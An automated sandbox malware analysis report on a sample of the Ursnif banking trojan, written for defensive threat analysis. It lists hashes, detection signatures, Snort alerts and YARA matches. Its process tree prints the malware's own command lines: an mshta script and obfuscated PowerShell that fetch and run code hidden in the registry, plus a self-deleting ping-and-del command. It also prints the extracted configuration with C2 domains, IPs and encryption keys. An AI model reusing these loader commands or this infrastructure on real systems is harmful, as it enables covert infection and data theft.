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Windows Analysis Report
rXN8OIpbzz

Overview

General Information

Sample Name:rXN8OIpbzz (renamed file extension from none to dll)
Analysis ID:620156
MD5:6e21e2268df053e95557a2157ff33103
SHA1:efeefb5833b881475bd421da29719d578babb90c
SHA256:22a462b2da9c893b5f37dbbc19697d6aeaa28758c2338fca3a806e8d9d3ac483
Tags:dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes to foreign memory regions
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Creates a thread in another existing process (thread injection)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 6176 cmdline: loaddll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6200 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6240 cmdline: rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 3912 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 3516 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 5240 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 3172 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6404 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5052 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 4472 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7140 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 6964 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6176 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
  • cleanup
{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 15 entries
            SourceRuleDescriptionAuthorStrings
            3.2.rundll32.exe.4c70000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              3.3.rundll32.exe.4b994a0.7.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                3.3.rundll32.exe.4b994a0.7.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  3.3.rundll32.exe.51c94a0.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    3.3.rundll32.exe.51f6b40.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries
                      No Sigma rule has matched
                      Timestamp:05/04/22-12:42:53.250349 05/04/22-12:42:53.250349
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:52.800201 05/04/22-12:42:52.800201
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:53.707282 05/04/22-12:42:53.707282
                      SID:2033203
                      Source Port:49820
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:42:32.722808 05/04/22-12:42:32.722808
                      SID:2033203
                      Source Port:49770
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4<